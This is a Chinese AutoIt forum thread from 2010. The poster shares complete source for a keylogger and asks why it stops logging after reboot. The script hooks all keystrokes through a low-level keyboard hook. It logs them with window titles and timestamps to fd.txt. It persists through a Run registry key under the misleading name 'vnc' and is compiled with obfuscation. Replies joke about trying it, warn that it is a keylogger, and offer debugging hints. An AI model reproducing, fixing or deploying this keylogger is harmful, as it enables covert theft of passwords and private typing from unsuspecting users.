找回密码
 加入
搜索
查看: 9354|回复: 16

[系统综合] 我改了一个键盘钩子,但是开机启动以后不自动记录了?

 火.. [复制链接]
发表于 2010-3-15 12:04:01 | 显示全部楼层 |阅读模式
我改了一个键盘钩子,但是开机启动以后不自动记录?我发给别人,他说编译后就可以启动记录。但是我编译成的exe就是不行。请大家帮我看看是为什么?
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_UseAnsi=y
#AutoIt3Wrapper_Add_Constants=n
#AutoIt3Wrapper_Run_Tidy=y
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
;#NoTrayIcon
;Beep(999, 100)
;~ HotKeySet("^!q", "_Main")
;~ MsgBox(0,"问题在哪?","1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "vnc", "REG_SZ", @AutoItExe)
;~ MsgBox(0,"问题在哪?","2")
HotKeySet("^!x", "_exit")
;~ MsgBox(0,"问题在哪?","3")
Opt('MustDeclareVars', 1)
;~ MsgBox(0,"问题在哪?","4")
Global $hHook, $hStub_KeyProc, $buf = "", $title = "", $title_1 = "", $keycode, $buffer = "", $nMsg
Global $file, $f3 = 0
;~ MsgBox(0,"问题在哪?","5")
_Main()
;~ MsgBox(0,"问题在哪?","6")
;MsgBox(0, "健盘记录器", "按下 [F3] 开始记录键盘按键,按下 [F4] 结束记录;" & @LF & @LF & "记录的按键信息保存在当前目录下 fd.txt")
While 1
        Sleep(250)
WEnd

Func _Main()
        Sleep(1000)
        ;Beep(999, 100)
        Local $hmod
        $f3 = 1
        $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
        $hmod = _WinAPI_GetModuleHandle(0)
        $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
        While 1
                Sleep(10)
        WEnd
EndFunc   ;==>_Main

;========================================
;记录文件
;========================================
Func EvaluateKey($keycode)
        $file = FileOpen("fd.txt", 9)
        $title = WinGetTitle("")
        $buffer = key($keycode)
        If $title_1 <> $title Then
                $title_1 = $title
                FileWrite($file, @CRLF & @CRLF & "====窗口标题:" & $title_1 & "====   记录时间:" & @YEAR & "." & @MON & "." & @MDAY & "--" & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF)
                FileWrite($file, $buffer)
        Else
                FileWrite($file, $buffer)
        EndIf
        FileClose($file)
EndFunc   ;==>EvaluateKey
;========================================s

Func key($keycode2)
        If $keycode2 = 8 Then
                $buf = "{backspace}";退格
        EndIf
        If $keycode2 = 9 Then
                $buf = "{TAB}"
        EndIf
        If $keycode2 = 13 Then
                $buf = "{ENTER}"
        EndIf
        If $keycode2 = 19 Then
                $buf = "{PAUSE}"
        EndIf
        If $keycode2 = 20 Then
                $buf = "{CAPSLOCK }"
        EndIf
        If $keycode2 = 27 Then
                $buf = "{ESC}"
        EndIf
        If $keycode2 = 32 Then
                $buf = "{SPACE}"
        EndIf
        If $keycode2 = 33 Then
                $buf = "{PAGEUP}"
        EndIf
        If $keycode2 = 34 Then
                $buf = "{PAGEDOWN}"
        EndIf
        If $keycode2 = 35 Then
                $buf = "{END}"
        EndIf
        If $keycode2 = 36 Then
                $buf = "{HOME}"
        EndIf
        If $keycode2 = 37 Then
                $buf = "{←}"
        EndIf
        If $keycode2 = 38 Then
                $buf = "{↑}"
        EndIf
        If $keycode2 = 39 Then
                $buf = "{→}"
        EndIf
        If $keycode2 = 40 Then
                $buf = "{↓}"
        EndIf
        If $keycode2 = 42 Then
                $buf = "{PRINT}"
        EndIf
        If $keycode2 = 44 Then
                $buf = "{PRINT SCREEN}"
        EndIf
        If $keycode2 = 45 Then
                $buf = "{INS}"
        EndIf
        If $keycode2 = 46 Then
                $buf = "{DEL}"
        EndIf
        If $keycode2 = 48 Or $keycode2 = 96 Then
                $buf = 0
        EndIf
        If $keycode2 = 49 Or $keycode2 = 97 Then
                $buf = 1
        EndIf
        If $keycode2 = 50 Or $keycode2 = 98 Then
                $buf = 2
        EndIf
        If $keycode2 = 51 Or $keycode2 = 99 Then
                $buf = 3
        EndIf
        If $keycode2 = 52 Or $keycode2 = 100 Then
                $buf = 4
        EndIf
        If $keycode2 = 53 Or $keycode2 = 101 Then
                $buf = 5
        EndIf
        If $keycode2 = 54 Or $keycode2 = 102 Then
                $buf = 6
        EndIf
        If $keycode2 = 55 Or $keycode2 = 103 Then
                $buf = 7
        EndIf
        If $keycode2 = 56 Or $keycode2 = 104 Then
                $buf = 8
        EndIf
        If $keycode2 = 57 Or $keycode2 = 105 Then
                $buf = 9
        EndIf
        If $keycode2 = 65 Then
                $buf = "a"
        EndIf
        If $keycode2 = 66 Then
                $buf = "b"
        EndIf
        If $keycode2 = 67 Then
                $buf = "c"
        EndIf
        If $keycode2 = 68 Then
                $buf = "d"
        EndIf
        If $keycode2 = 69 Then
                $buf = "e"
        EndIf
        If $keycode2 = 70 Then
                $buf = "f"
        EndIf
        If $keycode2 = 71 Then
                $buf = "g"
        EndIf
        If $keycode2 = 72 Then
                $buf = "h"
        EndIf
        If $keycode2 = 73 Then
                $buf = "i"
        EndIf
        If $keycode2 = 74 Then
                $buf = "j"
        EndIf
        If $keycode2 = 75 Then
                $buf = "k"
        EndIf
        If $keycode2 = 76 Then
                $buf = "l"
        EndIf
        If $keycode2 = 77 Then
                $buf = "m"
        EndIf
        If $keycode2 = 78 Then
                $buf = "n"
        EndIf
        If $keycode2 = 79 Then
                $buf = "o"
        EndIf
        If $keycode2 = 80 Then
                $buf = "p"
        EndIf
        If $keycode2 = 81 Then
                $buf = "q"
        EndIf
        If $keycode2 = 82 Then
                $buf = "r"
        EndIf
        If $keycode2 = 83 Then
                $buf = "s"
        EndIf
        If $keycode2 = 84 Then
                $buf = "t"
        EndIf
        If $keycode2 = 85 Then
                $buf = "u"
        EndIf
        If $keycode2 = 86 Then
                $buf = "v"
        EndIf
        If $keycode2 = 87 Then
                $buf = "w"
        EndIf
        If $keycode2 = 88 Then
                $buf = "x"
        EndIf
        If $keycode2 = 89 Then
                $buf = "y"
        EndIf
        If $keycode2 = 90 Then
                $buf = "z"
        EndIf
        If $keycode2 = 91 Or $keycode2 = 92 Then
                $buf = "{Windows}"
        EndIf
        If $keycode2 = 106 Then
                $buf = "*"
        EndIf
        If $keycode2 = 107 Then
                $buf = "+"
        EndIf
        If $keycode2 = 109 Or $keycode2 = 189 Then
                $buf = "-"
        EndIf
        If $keycode2 = 110 Or $keycode2 = 190 Then
                $buf = "."
        EndIf
        If $keycode2 = 111 Or $keycode2 = 191 Then
                $buf = "/"
        EndIf
        If $keycode2 = 112 Then
                $buf = "{F1}"
        EndIf
        If $keycode2 = 113 Then
                $buf = "{F2}"
        EndIf
        If $keycode2 = 114 Then
                $buf = "{F3}"
        EndIf
        If $keycode2 = 115 Then
                $buf = "{F4}"
        EndIf
        If $keycode2 = 116 Then
                $buf = "{F5}"
        EndIf
        If $keycode2 = 117 Then
                $buf = "{F6}"
        EndIf
        If $keycode2 = 118 Then
                $buf = "{F7}"
        EndIf
        If $keycode2 = 119 Then
                $buf = "{F8}"
        EndIf
        If $keycode2 = 120 Then
                $buf = "{F9}"
        EndIf
        If $keycode2 = 121 Then
                $buf = "{F10}"
        EndIf
        If $keycode2 = 122 Then
                $buf = "{F11}"
        EndIf
        If $keycode2 = 123 Then
                $buf = "{F12}"
        EndIf
        If $keycode2 = 124 Then
                $buf = "{F13}"
        EndIf
        If $keycode2 = 125 Then
                $buf = "{F14}"
        EndIf
        If $keycode2 = 126 Then
                $buf = "{F15}"
        EndIf
        If $keycode2 = 127 Then
                $buf = "{F16}"
        EndIf
        If $keycode2 = 144 Then
                $buf = "{NUMLOCK}"
        EndIf
        If $keycode2 = 145 Then
                $buf = "{SCROLLLOCK}"
        EndIf
        If $keycode2 = 160 Or $keycode2 = 161 Then
                $buf = "{Shift}"
        EndIf
        If $keycode2 = 162 Or $keycode2 = 163 Then
                $buf = "{Ctrl}"
        EndIf
        If $keycode2 = 164 Then
                $buf = "{Alt}"
        EndIf
        If $keycode2 = 186 Then
                $buf = ";"
        EndIf
        If $keycode2 = 187 Then
                $buf = "="
        EndIf
        If $keycode2 = 188 Then
                $buf = ","
        EndIf
        If $keycode2 = 192 Then
                $buf = "`"
        EndIf
        If $keycode2 = 219 Then
                $buf = "["
        EndIf
        If $keycode2 = 220 Then
                $buf = ""
        EndIf
        If $keycode2 = 221 Then
                $buf = "]"
        EndIf
        Return $buf
EndFunc   ;==>key

;===========================================================
;以下为键盘记录钩子获取键盘按键程序
;===========================================================
; callback function
;===========================================================
Func _KeyProc($nCode, $wParam, $lParam)
        Local $tKEYHOOKS
        $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
        If $nCode < 0 Then
                Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
        EndIf
        If $wParam = $WM_KEYDOWN Then
                EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
        Else
                Local $flags = DllStructGetData($tKEYHOOKS, "flags")
                Switch $flags
                        Case $LLKHF_ALTDOWN
                                EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
                EndSwitch
        EndIf
        Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc

Func _exit()
        RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "vnc")
        ;Beep(999, 100)
        If $f3 = 1 Then
                _WinAPI_UnhookWindowsHookEx($hHook)
                DllCallbackFree($hStub_KeyProc)
                ;If MsgBox(32 + 4, "询问:", "是否打开文件fd.txt?") = 6 Then
                ;        ShellExecute("fd.txt")
                ;EndIf
        EndIf
        Exit
EndFunc   ;==>_exit
发表于 2010-3-15 12:12:23 | 显示全部楼层
这东西改好了还得了啊!还是别吧!



我先拿去试试
发表于 2010-3-15 12:45:52 | 显示全部楼层
!!! 键盘记录器!!!
发表于 2010-3-15 13:06:53 | 显示全部楼层
新手!!推推
 楼主| 发表于 2010-3-15 17:16:13 | 显示全部楼层
这个问题很奇怪,不知道那里不对了。
 楼主| 发表于 2010-3-16 15:06:05 | 显示全部楼层
为什么没有人回答
发表于 2010-3-16 15:38:02 | 显示全部楼层
直接测试,正常~~ 貌似你电脑杀软的问题吧。

评分

参与人数 1金钱 +10 收起 理由
ac5474012 + 10 请把你编译脚本的au3版本号告送我

查看全部评分

 楼主| 发表于 2010-3-17 09:49:28 | 显示全部楼层
回复 7# idctop

请把你编译脚本的au3版本号告送我
 楼主| 发表于 2010-3-18 09:39:55 | 显示全部楼层
回复 7# idctop

这个不是杀毒软件的问题,但是我这里测试开机就是不记录了。不知道是为什么。这我很郁闷。
发表于 2010-3-18 13:35:13 | 显示全部楼层
我试试看看......
发表于 2010-3-25 19:57:40 | 显示全部楼层
发表于 2010-4-12 20:51:01 | 显示全部楼层
太厉害了。。。。。。。。。
发表于 2010-4-12 23:14:41 | 显示全部楼层
是否是注册表中出现中文目录
另外Func key($keycode2)用二维数组搜索程序会简洁些
 楼主| 发表于 2010-5-25 14:29:26 | 显示全部楼层
残念,一只不行啊.
发表于 2010-7-3 11:13:03 | 显示全部楼层
键盘记录!!你这是在生产违禁武器啊
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-5-20 01:58 , Processed in 0.095157 second(s), 28 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表